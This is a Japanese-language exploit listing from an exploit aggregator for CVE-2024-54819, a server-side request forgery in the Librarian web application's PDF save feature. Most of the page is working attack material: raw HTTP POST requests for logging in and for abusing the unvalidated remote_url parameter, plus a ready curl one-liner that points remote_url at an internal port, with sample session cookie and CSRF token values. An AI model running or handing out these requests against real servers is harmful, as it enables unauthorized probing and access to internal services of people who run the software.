Sploitus

Exploit for CVE-2024-54819

kitploit · 2026-09-04

Exploit Code

MARKDOWN68 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PARTYWAVESEC-CVE-2024-54819
# CVE-2024-54819

詳細はこちら: https://www.partywave.site CVE-2024-54819について

## ログインへのPOSTリクエスト

攻撃者はログイン済みである必要があります

root@kitploit:~
    
    
    POST /librarian/index.php/authentication HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
    [removed ...]
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Client-Width: 1920
    X-Requested-With: XMLHttpRequest
    Content-Length: 110
    Origin: http://127.0.0.1
    Connection: keep-alive
    Referer: http://127.0.0.1/librarian/
    Cookie: IL=[LIBRARIAN COOKIE] # for example: IL=poscnjta68n2691tehd5gt9k9e
    [removed ...]
    
    username=[USERNAME]&password=[PASSWORD]&csrfToken=[CSRF_TOKEN]
    

## PDF保存へのPOSTリクエスト

`remote_url parameter` は検証が不十分なため脆弱です

root@kitploit:~
    
    
    POST /librarian/index.php/pdf/save HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
    [removed ...]
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Client-Width: 1920
    X-Requested-With: XMLHttpRequest
    Content-Length: 135
    Origin: http://127.0.0.1
    Connection: keep-alive
    Referer: http://127.0.0.1/librarian/index.php/item
    Cookie: IL=[LIBRARIAN COOKIE] # for example: IL=poscnjta68n2691tehd5gt9k9e
    [removed ...]
    
    remote_url=[PAYLOAD]&id=[PDF_ID]&csrfToken=[CSRF_TOKEN]
    

## Bashワンライナー

このワンライナーは、Server Side Request Forgery を悪用するためのサンプル値を使用した例です:

root@kitploit:~
    
    
    curl -X POST http://127.0.0.1/librarian/index.php/pdf/save -H "Content-Type: application/x-www-form-urlencoded" -H "Cookie: IL=rcidrisa6hukk5amtmol06b0if" --data-urlencode "remote_url=http://0:6565" --data-urlencode "id=2" --data-urlencode "csrfToken=f3aa558cc79ebf4c48ee042ad61aeaebdf9e9a52b44c64174de398f4f46959df" --proxy http://127.0.0.1:8080
    

![ksnip_20240802-164810\(1\)](https://assets.kitploit.com/production/public/readmes/30493/a99a6db19368d46ceb18df3914c1b36b01b527514b5796185e8207cf29513a66.png)

また

![ksnip_20240802-164837](https://assets.kitploit.com/production/public/readmes/30493/d325076e770bd4909649154290dd19dc928db62ac628440c88d31605f24b16fe.png)